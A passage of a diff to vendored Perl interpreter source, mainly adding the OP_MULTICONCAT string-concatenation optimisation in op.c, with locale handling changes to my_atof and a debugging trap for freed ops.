+
     return FALSE;
 }
 
@@ -1013,7 +1024,7 @@
     s++;
   if (s >= send)
     return numtype;
-  if (len == 10 && _memEQs(pv, "0 but true")) {
+  if (memEQs(pv, len, "0 but true")) {
     if (valuep)
       *valuep = 0;
     return IS_NUMBER_IN_UV;
@@ -1209,13 +1220,21 @@
 NV
 Perl_my_atof(pTHX_ const char* s)
 {
+    /* 's' must be NUL terminated */
+
     NV x = 0.0;
+
+    PERL_ARGS_ASSERT_MY_ATOF;
+
 #ifdef USE_QUADMATH
+
     Perl_my_atof2(aTHX_ s, &x);
-    return x;
+
+#elif ! defined(USE_LOCALE_NUMERIC)
+
+    Perl_atof2(s, x);
+
 #else
-#  ifdef USE_LOCALE_NUMERIC
-    PERL_ARGS_ASSERT_MY_ATOF;
 
     {
         DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
@@ -1228,26 +1247,31 @@
              * that we have to determine this beforehand because on some
              * systems, Perl_atof2 is just a wrapper around the system's atof.
              * */
-            const char * const standard = strchr(s, '.');
-            const char * const local = strstr(s, SvPV_nolen(PL_numeric_radix_sv));
-            const bool use_standard_radix = standard && (!local || standard < local);
+            const char * const standard_pos = strchr(s, '.');
+            const char * const local_pos
+                                  = strstr(s, SvPV_nolen(PL_numeric_radix_sv));
+            const bool use_standard_radix
+                    = standard_pos && (!local_pos || standard_pos < local_pos);
 
-            if (use_standard_radix)
+            if (use_standard_radix) {
                 SET_NUMERIC_STANDARD();
+                LOCK_LC_NUMERIC_STANDARD();
+            }
 
             Perl_atof2(s, x);
 
-            if (use_standard_radix)
+            if (use_standard_radix) {
+                UNLOCK_LC_NUMERIC_STANDARD();
                 SET_NUMERIC_UNDERLYING();
+            }
         }
         else
             Perl_atof2(s, x);
         RESTORE_LC_NUMERIC();
     }
-#  else
-    Perl_atof2(s, x);
-#  endif
+
 #endif
+
     return x;
 }
 
@@ -1485,9 +1509,9 @@
 	else if (!seen_dp && GROK_NUMERIC_RADIX(&s, send)) {
 	    seen_dp = 1;
 	    if (sig_digits > MAX_SIG_DIGITS) {
-		do {
+		while (isDIGIT(*s)) {
 		    ++s;
-		} while (isDIGIT(*s));
+		}
 		break;
 	    }
 	}

Modified: vendor/perl/dist/op.c
===================================================================
--- vendor/perl/dist/op.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/op.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -419,6 +419,15 @@
 #    define PerlMemShared PerlMem
 #endif
 
+/* make freed ops die if they're inadvertently executed */
+#ifdef DEBUGGING
+static OP *
+S_pp_freed(pTHX)
+{
+    DIE(aTHX_ "panic: freed op 0x%p called\n", PL_op);
+}
+#endif
+
 void
 Perl_Slab_Free(pTHX_ void *op)
 {
@@ -427,6 +436,10 @@
 
     PERL_ARGS_ASSERT_SLAB_FREE;
 
+#ifdef DEBUGGING
+    o->op_ppaddr = S_pp_freed;
+#endif
+
     if (!o->op_slabbed) {
         if (!o->op_static)
 	    PerlMemShared_free(op);
@@ -662,6 +675,7 @@
 	if (!(flags & SVf_UTF8 && UTF8_IS_START(name[1]))
 	 && isASCII(name[1])
 	 && (!isPRINT(name[1]) || strchr("\t\n\r\f", name[1]))) {
+	    /* diag_listed_as: Can't use global %s in "%s" */
 	    yyerror(Perl_form(aTHX_ "Can't use global %c^%c%.*s in \"%s\"",
 			      name[0], toCTRL(name[1]), (int)(len - 2), name + 2,
 			      PL_parser->in_my == KEY_state ? "state" : "my"));
@@ -956,6 +970,7 @@
 	SvREFCNT_dec(cMETHOPx(o)->op_rclass_sv);
 	cMETHOPx(o)->op_rclass_sv = NULL;
 #endif
+        /* FALLTHROUGH */
     case OP_METHOD_NAMED:
     case OP_METHOD_SUPER:
         SvREFCNT_dec(cMETHOPx(o)->op_u.op_meth_sv);
@@ -1063,6 +1078,22 @@
         PerlMemShared_free(cUNOP_AUXo->op_aux);
         break;
 
+    case OP_MULTICONCAT:
+        {
+            UNOP_AUX_item *aux = cUNOP_AUXo->op_aux;
+            /* aux[PERL_MULTICONCAT_IX_PLAIN_PV] and/or
+             * aux[PERL_MULTICONCAT_IX_UTF8_PV] point to plain and/or
+             * utf8 shared strings */
+            char *p1 = aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv;
+            char *p2 = aux[PERL_MULTICONCAT_IX_UTF8_PV].pv;
+            if (p1)
+                PerlMemShared_free(p1);
+            if (p2 && p1 != p2)
+                PerlMemShared_free(p2);
+            PerlMemShared_free(aux);
+        }
+        break;
+
     case OP_MULTIDEREF:
         {
             UNOP_AUX_item *items = cUNOP_AUXo->op_aux;
@@ -1079,6 +1110,7 @@
 
                 case MDEREF_HV_padhv_helem:
                     is_hash = TRUE;
+                    /* FALLTHROUGH */
                 case MDEREF_AV_padav_aelem:
                     pad_free((++items)->pad_offset);
                     goto do_elem;
@@ -1085,6 +1117,7 @@
 
                 case MDEREF_HV_gvhv_helem:
                     is_hash = TRUE;
+                    /* FALLTHROUGH */
                 case MDEREF_AV_gvav_aelem:
 #ifdef USE_ITHREADS
                     S_op_clear_gv(aTHX_ o, &((++items)->pad_offset));
@@ -1095,6 +1128,7 @@
 
                 case MDEREF_HV_gvsv_vivify_rv2hv_helem:
                     is_hash = TRUE;
+                    /* FALLTHROUGH */
                 case MDEREF_AV_gvsv_vivify_rv2av_aelem:
 #ifdef USE_ITHREADS
                     S_op_clear_gv(aTHX_ o, &((++items)->pad_offset));
@@ -1105,6 +1139,7 @@
 
                 case MDEREF_HV_padsv_vivify_rv2hv_helem:
                     is_hash = TRUE;
+                    /* FALLTHROUGH */
                 case MDEREF_AV_padsv_vivify_rv2av_aelem:
                     pad_free((++items)->pad_offset);
                     goto do_vivify_rv2xv_elem;
@@ -1112,6 +1147,7 @@
                 case MDEREF_HV_pop_rv2hv_helem:
                 case MDEREF_HV_vivify_rv2hv_helem:
                     is_hash = TRUE;
+                    /* FALLTHROUGH */
                 do_vivify_rv2xv_elem:
                 case MDEREF_AV_pop_rv2av_aelem:
                 case MDEREF_AV_vivify_rv2av_aelem:
@@ -1187,8 +1223,7 @@
 }
 
 STATIC void
-S_forget_pmop(pTHX_ PMOP *const o
-	      )
+S_forget_pmop(pTHX_ PMOP *const o)
 {
     HV * const pmstash = PmopSTASH(o);
 
@@ -1509,7 +1544,8 @@
     OpTYPE_set(logop, type);
     logop->op_first = first;
     logop->op_other = other;
-    logop->op_flags = OPf_KIDS;
+    if (first)
+        logop->op_flags = OPf_KIDS;
     while (kid && OpHAS_SIBLING(kid))
         kid = OpSIBLING(kid);
     if (kid)
@@ -1913,6 +1949,11 @@
             if (o->op_type == OP_REPEAT)
                 scalar(cBINOPo->op_first);
             goto func_ops;
+	case OP_CONCAT:
+            if ((o->op_flags & OPf_STACKED) &&
+		    !(o->op_private & OPpCONCAT_NESTED))
+                break;
+	    goto func_ops;
         case OP_SUBSTR:
             if (o->op_private == 4)
                 break;
@@ -2450,7 +2491,917 @@
     }
 }
 
+/* info returned by S_sprintf_is_multiconcatable() */
 
+struct sprintf_ismc_info {
+    SSize_t nargs;    /* num of args to sprintf (not including the format) */
+    char  *start;     /* start of raw format string */
+    char  *end;       /* bytes after end of raw format string */
+    STRLEN total_len; /* total length (in bytes) of format string, not
+                         including '%s' and  half of '%%' */
+    STRLEN variant;   /* number of bytes by which total_len_p would grow
+                         if upgraded to utf8 */
+    bool   utf8;      /* whether the format is utf8 */
+};
+
+
+/* is the OP_SPRINTF o suitable for converting into a multiconcat op?
+ * i.e. its format argument is a const string with only '%s' and '%%'
+ * formats, and the number of args is known, e.g.
+ *    sprintf "a=%s f=%s", $a[0], scalar(f());
+ * but not
+ *    sprintf "i=%d a=%s f=%s", $i, @a, f();
+ *
+ * If successful, the sprintf_ismc_info struct pointed to by info will be
+ * populated.
+ */
+
+STATIC bool
+S_sprintf_is_multiconcatable(pTHX_ OP *o,struct sprintf_ismc_info *info)
+{
+    OP    *pm, *constop, *kid;
+    SV    *sv;
+    char  *s, *e, *p;
+    SSize_t nargs, nformats;
+    STRLEN cur, total_len, variant;
+    bool   utf8;
+
+    /* if sprintf's behaviour changes, die here so that someone
+     * can decide whether to enhance this function or skip optimising
+     * under those new circumstances */
+    assert(!(o->op_flags & OPf_STACKED));
+    assert(!(PL_opargs[OP_SPRINTF] & OA_TARGLEX));
+    assert(!(o->op_private & ~OPpARG4_MASK));
+
+    pm = cUNOPo->op_first;
+    if (pm->op_type != OP_PUSHMARK) /* weird coreargs stuff */
+        return FALSE;
+    constop = OpSIBLING(pm);
+    if (!constop || constop->op_type != OP_CONST)
+        return FALSE;
+    sv = cSVOPx_sv(constop);
+    if (SvMAGICAL(sv) || !SvPOK(sv))
+        return FALSE;
+
+    s = SvPV(sv, cur);
+    e = s + cur;
+
+    /* Scan format for %% and %s and work out how many %s there are.
+     * Abandon if other format types are found.
+     */
+
+    nformats  = 0;
+    total_len = 0;
+    variant   = 0;
+
+    for (p = s; p < e; p++) {
+        if (*p != '%') {
+            total_len++;
+            if (!UTF8_IS_INVARIANT(*p))
+                variant++;
+            continue;
+        }
+        p++;
+        if (p >= e)
+            return FALSE; /* lone % at end gives "Invalid conversion" */
+        if (*p == '%')
+            total_len++;
+        else if (*p == 's')
+            nformats++;
+        else
+            return FALSE;
+    }
+
+    if (!nformats || nformats > PERL_MULTICONCAT_MAXARG)
+        return FALSE;
+
+    utf8 = cBOOL(SvUTF8(sv));
+    if (utf8)
+        variant = 0;
+
+    /* scan args; they must all be in scalar cxt */
+
+    nargs = 0;
+    kid = OpSIBLING(constop);
+
+    while (kid) {
+        if ((kid->op_flags & OPf_WANT) != OPf_WANT_SCALAR)
+            return FALSE;
+        nargs++;
+        kid = OpSIBLING(kid);
+    }
+
+    if (nargs != nformats)
+        return FALSE; /* e.g. sprintf("%s%s", $a); */
+
+
+    info->nargs      = nargs;
+    info->start      = s;
+    info->end        = e;
+    info->total_len  = total_len;
+    info->variant    = variant;
+    info->utf8       = utf8;
+
+    return TRUE;
+}
+
+
+
+/* S_maybe_multiconcat():
+ *
+ * given an OP_STRINGIFY, OP_SASSIGN, OP_CONCAT or OP_SPRINTF op, possibly
+ * convert it (and its children) into an OP_MULTICONCAT. See the code
+ * comments just before pp_multiconcat() for the full details of what
+ * OP_MULTICONCAT supports.
+ *
+ * Basically we're looking for an optree with a chain of OP_CONCATS down
+ * the LHS (or an OP_SPRINTF), with possibly an OP_SASSIGN, and/or
+ * OP_STRINGIFY, and/or OP_CONCAT acting as '.=' at its head, e.g.
+ *
+ *      $x = "$a$b-$c"
+ *
+ *  looks like
+ *
+ *      SASSIGN
+ *         |
+ *      STRINGIFY   -- PADSV[$x]
+ *         |
+ *         |
+ *      ex-PUSHMARK -- CONCAT/S
+ *                        |
+ *                     CONCAT/S  -- PADSV[$d]
+ *                        |
+ *                     CONCAT    -- CONST["-"]
+ *                        |
+ *                     PADSV[$a] -- PADSV[$b]
+ *
+ * Note that at this stage the OP_SASSIGN may have already been optimised
+ * away with OPpTARGET_MY set on the OP_STRINGIFY or OP_CONCAT.
+ */
+
+STATIC void
+S_maybe_multiconcat(pTHX_ OP *o)
+{
+    OP *lastkidop;   /* the right-most of any kids unshifted onto o */
+    OP *topop;       /* the top-most op in the concat tree (often equals o,
+                        unless there are assign/stringify ops above it */
+    OP *parentop;    /* the parent op of topop (or itself if no parent) */
+    OP *targmyop;    /* the op (if any) with the OPpTARGET_MY flag */
+    OP *targetop;    /* the op corresponding to target=... or target.=... */
+    OP *stringop;    /* the OP_STRINGIFY op, if any */
+    OP *nextop;      /* used for recreating the op_next chain without consts */
+    OP *kid;         /* general-purpose op pointer */
+    UNOP_AUX_item *aux;
+    UNOP_AUX_item *lenp;
+    char *const_str, *p;
+    struct sprintf_ismc_info sprintf_info;
+
+                     /* store info about each arg in args[];
+                      * toparg is the highest used slot; argp is a general
+                      * pointer to args[] slots */
+    struct {
+        void *p;      /* initially points to const sv (or null for op);
+                         later, set to SvPV(constsv), with ... */
+        STRLEN len;   /* ... len set to SvPV(..., len) */
+    } *argp, *toparg, args[PERL_MULTICONCAT_MAXARG*2 + 1];
+
+    SSize_t nargs  = 0;
+    SSize_t nconst = 0;
+    SSize_t nadjconst  = 0; /* adjacent consts - may be demoted to args */
+    STRLEN variant;
+    bool utf8 = FALSE;
+    bool kid_is_last = FALSE; /* most args will be the RHS kid of a concat op;
+                                 the last-processed arg will the LHS of one,
+                                 as args are processed in reverse order */
+    U8   stacked_last = 0;   /* whether the last seen concat op was STACKED */
+    STRLEN total_len  = 0;   /* sum of the lengths of the const segments */
+    U8 flags          = 0;   /* what will become the op_flags and ... */
+    U8 private_flags  = 0;   /* ... op_private of the multiconcat op */
+    bool is_sprintf = FALSE; /* we're optimising an sprintf */
+    bool is_targable  = FALSE; /* targetop is an OPpTARGET_MY candidate */
+    bool prev_was_const = FALSE; /* previous arg was a const */
+
+    /* -----------------------------------------------------------------
+     * Phase 1:
+     *
+     * Examine the optree non-destructively to determine whether it's
+     * suitable to be converted into an OP_MULTICONCAT. Accumulate
+     * information about the optree in args[].
+     */
+
+    argp     = args;
+    targmyop = NULL;
+    targetop = NULL;
+    stringop = NULL;
+    topop    = o;
+    parentop = o;
+
+    assert(   o->op_type == OP_SASSIGN
+           || o->op_type == OP_CONCAT
+           || o->op_type == OP_SPRINTF
+           || o->op_type == OP_STRINGIFY);
+
+    Zero(&sprintf_info, 1, struct sprintf_ismc_info);
+
+    /* first see if, at the top of the tree, there is an assign,
+     * append and/or stringify */
+
+    if (topop->op_type == OP_SASSIGN) {
+        /* expr = ..... */
+        if (o->op_ppaddr != PL_ppaddr[OP_SASSIGN])
+            return;
+        if (o->op_private & (OPpASSIGN_BACKWARDS|OPpASSIGN_CV_TO_GV))
+            return;
+        assert(!(o->op_private & ~OPpARG2_MASK)); /* barf on unknown flags */
+
+        parentop = topop;
+        topop = cBINOPo->op_first;
+        targetop = OpSIBLING(topop);
+        if (!targetop) /* probably some sort of syntax error */
+            return;
+    }
+    else if (   topop->op_type == OP_CONCAT
+             && (topop->op_flags & OPf_STACKED)
+             && (cUNOPo->op_first->op_flags & OPf_MOD)
+             && (!(topop->op_private & OPpCONCAT_NESTED))
+            )
+    {
+        /* expr .= ..... */
+
+        /* OPpTARGET_MY shouldn't be able to be set here. If it is,
+         * decide what to do about it */
+        assert(!(o->op_private & OPpTARGET_MY));
+
+        /* barf on unknown flags */
+        assert(!(o->op_private & ~(OPpARG2_MASK|OPpTARGET_MY)));
+        private_flags |= OPpMULTICONCAT_APPEND;
+        targetop = cBINOPo->op_first;
+        parentop = topop;
+        topop    = OpSIBLING(targetop);
+
+        /* $x .= <FOO> gets optimised to rcatline instead */
+        if (topop->op_type == OP_READLINE)
+            return;
+    }
+
+    if (targetop) {
+        /* Can targetop (the LHS) if it's a padsv, be be optimised
+         * away and use OPpTARGET_MY instead?
+         */
+        if (    (targetop->op_type == OP_PADSV)
+            && !(targetop->op_private & OPpDEREF)
+            && !(targetop->op_private & OPpPAD_STATE)
+               /* we don't support 'my $x .= ...' */
+            && (   o->op_type == OP_SASSIGN
+                || !(targetop->op_private & OPpLVAL_INTRO))
+        )
+            is_targable = TRUE;
+    }
+
+    if (topop->op_type == OP_STRINGIFY) {
+        if (topop->op_ppaddr != PL_ppaddr[OP_STRINGIFY])
+            return;
+        stringop = topop;
+
+        /* barf on unknown flags */
+        assert(!(o->op_private & ~(OPpARG4_MASK|OPpTARGET_MY)));
+
+        if ((topop->op_private & OPpTARGET_MY)) {
+            if (o->op_type == OP_SASSIGN)
+                return; /* can't have two assigns */
+            targmyop = topop;
+        }
+
+        private_flags |= OPpMULTICONCAT_STRINGIFY;
+        parentop = topop;
+        topop = cBINOPx(topop)->op_first;
+        assert(OP_TYPE_IS_OR_WAS_NN(topop, OP_PUSHMARK));
+        topop = OpSIBLING(topop);
+    }
+
+    if (topop->op_type == OP_SPRINTF) {
+        if (topop->op_ppaddr != PL_ppaddr[OP_SPRINTF])
+            return;
+        if (S_sprintf_is_multiconcatable(aTHX_ topop, &sprintf_info)) {
+            nargs     = sprintf_info.nargs;
+            total_len = sprintf_info.total_len;
+            variant   = sprintf_info.variant;
+            utf8      = sprintf_info.utf8;
+            is_sprintf = TRUE;
+            private_flags |= OPpMULTICONCAT_FAKE;
+            toparg = argp;
+            /* we have an sprintf op rather than a concat optree.
+             * Skip most of the code below which is associated with
+             * processing that optree. We also skip phase 2, determining
+             * whether its cost effective to optimise, since for sprintf,
+             * multiconcat is *always* faster */
+            goto create_aux;
+        }
+        /* note that even if the sprintf itself isn't multiconcatable,
+         * the expression as a whole may be, e.g. in
+         *    $x .= sprintf("%d",...)
+         * the sprintf op will be left as-is, but the concat/S op may
+         * be upgraded to multiconcat
+         */
+    }
+    else if (topop->op_type == OP_CONCAT) {
+        if (topop->op_ppaddr != PL_ppaddr[OP_CONCAT])
+            return;
+
+        if ((topop->op_private & OPpTARGET_MY)) {
+            if (o->op_type == OP_SASSIGN || targmyop)
+                return; /* can't have two assigns */
+            targmyop = topop;
+        }
+    }
+
+    /* Is it safe to convert a sassign/stringify/concat op into
+     * a multiconcat? */
+    assert((PL_opargs[OP_SASSIGN]   & OA_CLASS_MASK) == OA_BINOP);
+    assert((PL_opargs[OP_CONCAT]    & OA_CLASS_MASK) == OA_BINOP);
+    assert((PL_opargs[OP_STRINGIFY] & OA_CLASS_MASK) == OA_LISTOP);
+    assert((PL_opargs[OP_SPRINTF]   & OA_CLASS_MASK) == OA_LISTOP);
+    STATIC_ASSERT_STMT(   STRUCT_OFFSET(BINOP,    op_last)
+                       == STRUCT_OFFSET(UNOP_AUX, op_aux));
+    STATIC_ASSERT_STMT(   STRUCT_OFFSET(LISTOP,   op_last)
+                       == STRUCT_OFFSET(UNOP_AUX, op_aux));
+
+    /* Now scan the down the tree looking for a series of
+     * CONCAT/OPf_STACKED ops on the LHS (with the last one not
+     * stacked). For example this tree:
+     *
+     *     |
+     *   CONCAT/STACKED
+     *     |
+     *   CONCAT/STACKED -- EXPR5
+     *     |
+     *   CONCAT/STACKED -- EXPR4
+     *     |
+     *   CONCAT -- EXPR3
+     *     |
+     *   EXPR1  -- EXPR2
+     *
+     * corresponds to an expression like
+     *
+     *   (EXPR1 . EXPR2 . EXPR3 . EXPR4 . EXPR5)
+     *
+     * Record info about each EXPR in args[]: in particular, whether it is
+     * a stringifiable OP_CONST and if so what the const sv is.
+     *
+     * The reason why the last concat can't be STACKED is the difference
+     * between
+     *
+     *    ((($a .= $a) .= $a) .= $a) .= $a
+     *
+     * and
+     *    $a . $a . $a . $a . $a
+     *
+     * The main difference between the optrees for those two constructs
+     * is the presence of the last STACKED. As well as modifying $a,
+     * the former sees the changed $a between each concat, so if $s is
+     * initially 'a', the first returns 'a' x 16, while the latter returns
+     * 'a' x 5. And pp_multiconcat can't handle that kind of thing.
+     */
+
+    kid = topop;
+
+    for (;;) {
+        OP *argop;
+        SV *sv;
+        bool last = FALSE;
+
+        if (    kid->op_type == OP_CONCAT
+            && !kid_is_last
+        ) {
+            OP *k1, *k2;
+            k1 = cUNOPx(kid)->op_first;
+            k2 = OpSIBLING(k1);
+            /* shouldn't happen except maybe after compile err? */
+            if (!k2)
+                return;
+
+            /* avoid turning (A . B . ($lex = C) ...)  into  (A . B . C ...) */
+            if (kid->op_private & OPpTARGET_MY)
+                kid_is_last = TRUE;
+
+            stacked_last = (kid->op_flags & OPf_STACKED);
+            if (!stacked_last)
+                kid_is_last = TRUE;
+
+            kid   = k1;
+            argop = k2;
+        }
+        else {
+            argop = kid;
+            last = TRUE;
+        }
+
+        if (   nargs + nadjconst  >  PERL_MULTICONCAT_MAXARG        - 2
+            || (argp - args + 1)  > (PERL_MULTICONCAT_MAXARG*2 + 1) - 2)
+        {
+            /* At least two spare slots are needed to decompose both
+             * concat args. If there are no slots left, continue to
+             * examine the rest of the optree, but don't push new values
+             * on args[]. If the optree as a whole is legal for conversion
+             * (in particular that the last concat isn't STACKED), then
+             * the first PERL_MULTICONCAT_MAXARG elements of the optree
+             * can be converted into an OP_MULTICONCAT now, with the first
+             * child of that op being the remainder of the optree -
+             * which may itself later be converted to a multiconcat op
+             * too.
+             */
+            if (last) {
+                /* the last arg is the rest of the optree */
+                argp++->p = NULL;
+                nargs++;
+            }
+        }
+        else if (   argop->op_type == OP_CONST
+            && ((sv = cSVOPx_sv(argop)))
+            /* defer stringification until runtime of 'constant'
+             * things that might stringify variantly, e.g. the radix
+             * point of NVs, or overloaded RVs */
+            && (SvPOK(sv) || SvIOK(sv))
+            && (!SvGMAGICAL(sv))
+        ) {
+            argp++->p = sv;
+            utf8   |= cBOOL(SvUTF8(sv));
+            nconst++;
+            if (prev_was_const)
+                /* this const may be demoted back to a plain arg later;
+                 * make sure we have enough arg slots left */
+                nadjconst++;
+            prev_was_const = !prev_was_const;
+        }
+        else {
+            argp++->p = NULL;
+            nargs++;
+            prev_was_const = FALSE;
+        }
+
+        if (last)
+            break;
+    }
+
+    toparg = argp - 1;
+
+    if (stacked_last)
+        return; /* we don't support ((A.=B).=C)...) */
+
+    /* look for two adjacent consts and don't fold them together:
+     *     $o . "a" . "b"
+     * should do
+     *     $o->concat("a")->concat("b")
+     * rather than
+     *     $o->concat("ab")
+     * (but $o .=  "a" . "b" should still fold)
+     */
+    {
+        bool seen_nonconst = FALSE;
+        for (argp = toparg; argp >= args; argp--) {
+            if (argp->p == NULL) {
+                seen_nonconst = TRUE;
+                continue;
+            }
+            if (!seen_nonconst)
+                continue;
+            if (argp[1].p) {
+                /* both previous and current arg were constants;
+                 * leave the current OP_CONST as-is */
+                argp->p = NULL;
+                nconst--;
+                nargs++;
+            }
+        }
+    }
+
+    /* -----------------------------------------------------------------
+     * Phase 2:
+     *
+     * At this point we have determined that the optree *can* be converted
+     * into a multiconcat. Having gathered all the evidence, we now decide
+     * whether it *should*.
+     */
+
+
+    /* we need at least one concat action, e.g.:
+     *
+     *  Y . Z
+     *  X = Y . Z
+     *  X .= Y
+     *
+     * otherwise we could be doing something like $x = "foo", which
+     * if treated as as a concat, would fail to COW.
+     */
+    if (nargs + nconst + cBOOL(private_flags & OPpMULTICONCAT_APPEND) < 2)
+        return;
+
+    /* Benchmarking seems to indicate that we gain if:
+     * * we optimise at least two actions into a single multiconcat
+     *    (e.g concat+concat, sassign+concat);
+     * * or if we can eliminate at least 1 OP_CONST;
+     * * or if we can eliminate a padsv via OPpTARGET_MY
+     */
+
+    if (
+           /* eliminated at least one OP_CONST */
+           nconst >= 1
+           /* eliminated an OP_SASSIGN */
+        || o->op_type == OP_SASSIGN
+           /* eliminated an OP_PADSV */
+        || (!targmyop && is_targable)
+    )
+        /* definitely a net gain to optimise */
+        goto optimise;
+
+    /* ... if not, what else? */
+
+    /* special-case '$lex1 = expr . $lex1' (where expr isn't lex1):
+     * multiconcat is faster (due to not creating a temporary copy of
+     * $lex1), whereas for a general $lex1 = $lex2 . $lex3, concat is
+     * faster.
+     */
+    if (   nconst == 0
+         && nargs == 2
+         && targmyop
+         && topop->op_type == OP_CONCAT
+    ) {
+        PADOFFSET t = targmyop->op_targ;
+        OP *k1 = cBINOPx(topop)->op_first;
+        OP *k2 = cBINOPx(topop)->op_last;
+        if (   k2->op_type == OP_PADSV
+            && k2->op_targ == t
+            && (   k1->op_type != OP_PADSV
+                || k1->op_targ != t)
+        )
+            goto optimise;
+    }
+
+    /* need at least two concats */
+    if (nargs + nconst + cBOOL(private_flags & OPpMULTICONCAT_APPEND) < 3)
+        return;
+
+
+
+    /* -----------------------------------------------------------------
+     * Phase 3:
+     *
+     * At this point the optree has been verified as ok to be optimised
+     * into an OP_MULTICONCAT. Now start changing things.
+     */
+
+   optimise:
+
+    /* stringify all const args and determine utf8ness */
+
+    variant = 0;
+    for (argp = args; argp <= toparg; argp++) {
+        SV *sv = (SV*)argp->p;
+        if (!sv)
+            continue; /* not a const op */
+        if (utf8 && !SvUTF8(sv))
+            sv_utf8_upgrade_nomg(sv);
+        argp->p = SvPV_nomg(sv, argp->len);
+        total_len += argp->len;
+        
+        /* see if any strings would grow if converted to utf8 */
+        if (!utf8) {
+            char *p    = (char*)argp->p;
+            STRLEN len = argp->len;
+            while (len--) {
+                U8 c = *p++;
+                if (!UTF8_IS_INVARIANT(c))
+                    variant++;
+            }
+        }
+    }
+
+    /* create and populate aux struct */
+
+  create_aux:
+
+    aux = (UNOP_AUX_item*)PerlMemShared_malloc(
+                    sizeof(UNOP_AUX_item)
+                    *  (
+                           PERL_MULTICONCAT_HEADER_SIZE
+                         + ((nargs + 1) * (variant ? 2 : 1))
+                        )
+                    );
+    const_str = (char *)PerlMemShared_malloc(total_len ? total_len : 1);
+
+    /* Extract all the non-const expressions from the concat tree then
+     * dispose of the old tree, e.g. convert the tree from this:
+     *
+     *  o => SASSIGN
+     *         |
+     *       STRINGIFY   -- TARGET
+     *         |
+     *       ex-PUSHMARK -- CONCAT
+     *                        |
+     *                      CONCAT -- EXPR5
+     *                        |
+     *                      CONCAT -- EXPR4
+     *                        |
+     *                      CONCAT -- EXPR3
+     *                        |
+     *                      EXPR1  -- EXPR2
+     *
+     *
+     * to:
+     *
+     *  o => MULTICONCAT
+     *         |
+     *       ex-PUSHMARK -- EXPR1 -- EXPR2 -- EXPR3 -- EXPR4 -- EXPR5 -- TARGET
+     *
+     * except that if EXPRi is an OP_CONST, it's discarded.
+     *
+     * During the conversion process, EXPR ops are stripped from the tree
+     * and unshifted onto o. Finally, any of o's remaining original
+     * childen are discarded and o is converted into an OP_MULTICONCAT.
+     *
+     * In this middle of this, o may contain both: unshifted args on the
+     * left, and some remaining original args on the right. lastkidop
+     * is set to point to the right-most unshifted arg to delineate
+     * between the two sets.
+     */
+
+
+    if (is_sprintf) {
+        /* create a copy of the format with the %'s removed, and record
+         * the sizes of the const string segments in the aux struct */
+        char *q, *oldq;
+        lenp = aux + PERL_MULTICONCAT_IX_LENGTHS;
+
+        p    = sprintf_info.start;
+        q    = const_str;
+        oldq = q;
+        for (; p < sprintf_info.end; p++) {
+            if (*p == '%') {
+                p++;
+                if (*p != '%') {
+                    (lenp++)->ssize = q - oldq;
+                    oldq = q;
+                    continue;
+                }
+            }
+            *q++ = *p;
+        }
+        lenp->ssize = q - oldq;
+        assert((STRLEN)(q - const_str) == total_len);
+
+        /* Attach all the args (i.e. the kids of the sprintf) to o (which
+         * may or may not be topop) The pushmark and const ops need to be
+         * kept in case they're an op_next entry point.
+         */
+        lastkidop = cLISTOPx(topop)->op_last;
+        kid = cUNOPx(topop)->op_first; /* pushmark */
+        op_null(kid);
+        op_null(OpSIBLING(kid));       /* const */
+        if (o != topop) {
+            kid = op_sibling_splice(topop, NULL, -1, NULL); /* cut all args */
+            op_sibling_splice(o, NULL, 0, kid); /* and attach to o */
+            lastkidop->op_next = o;
+        }
+    }
+    else {
+        p = const_str;
+        lenp = aux + PERL_MULTICONCAT_IX_LENGTHS;
+
+        lenp->ssize = -1;
+
+        /* Concatenate all const strings into const_str.
+         * Note that args[] contains the RHS args in reverse order, so
+         * we scan args[] from top to bottom to get constant strings
+         * in L-R order
+         */
+        for (argp = toparg; argp >= args; argp--) {
+            if (!argp->p)
+                /* not a const op */
+                (++lenp)->ssize = -1;
+            else {
+                STRLEN l = argp->len;
+                Copy(argp->p, p, l, char);
+                p += l;
+                if (lenp->ssize == -1)
+                    lenp->ssize = l;
+                else
+                    lenp->ssize += l;
+            }
+        }
+
+        kid = topop;
+        nextop = o;
+        lastkidop = NULL;
+
+        for (argp = args; argp <= toparg; argp++) {
+            /* only keep non-const args, except keep the first-in-next-chain
+             * arg no matter what it is (but nulled if OP_CONST), because it
+             * may be the entry point to this subtree from the previous
+             * op_next.
+             */
+            bool last = (argp == toparg);
+            OP *prev;
+
+            /* set prev to the sibling *before* the arg to be cut out,
+             * e.g. when cutting EXPR:
+             *
+             *         |
+             * kid=  CONCAT
+             *         |
+             * prev= CONCAT -- EXPR
+             *         |
+             */
+            if (argp == args && kid->op_type != OP_CONCAT) {
+                /* in e.g. '$x .= f(1)' there's no RHS concat tree
+                 * so the expression to be cut isn't kid->op_last but
+                 * kid itself */
+                OP *o1, *o2;
+                /* find the op before kid */
+                o1 = NULL;
+                o2 = cUNOPx(parentop)->op_first;
+                while (o2 && o2 != kid) {
+                    o1 = o2;
+                    o2 = OpSIBLING(o2);
+                }
+                assert(o2 == kid);
+                prev = o1;
+                kid  = parentop;
+            }
+            else if (kid == o && lastkidop)
+                prev = last ? lastkidop : OpSIBLING(lastkidop);
+            else
+                prev = last ? NULL : cUNOPx(kid)->op_first;
+
+            if (!argp->p || last) {
+                /* cut RH op */
+                OP *aop = op_sibling_splice(kid, prev, 1, NULL);
+                /* and unshift to front of o */
+                op_sibling_splice(o, NULL, 0, aop);
+                /* record the right-most op added to o: later we will
+                 * free anything to the right of it */
+                if (!lastkidop)
+                    lastkidop = aop;
+                aop->op_next = nextop;
+                if (last) {
+                    if (argp->p)
+                        /* null the const at start of op_next chain */
+                        op_null(aop);
+                }
+                else if (prev)
+                    nextop = prev->op_next;
+            }
+
+            /* the last two arguments are both attached to the same concat op */
+            if (argp < toparg - 1)
+                kid = prev;
+        }
+    }
+
+    /* Populate the aux struct */
+
+    aux[PERL_MULTICONCAT_IX_NARGS].ssize     = nargs;
+    aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv    = utf8 ? NULL : const_str;
+    aux[PERL_MULTICONCAT_IX_PLAIN_LEN].ssize = utf8 ?    0 : total_len;
+    aux[PERL_MULTICONCAT_IX_UTF8_PV].pv     = const_str;
+    aux[PERL_MULTICONCAT_IX_UTF8_LEN].ssize  = total_len;
+
+    /* if variant > 0, calculate a variant const string and lengths where
+     * the utf8 version of the string will take 'variant' more bytes than
+     * the plain one. */
+
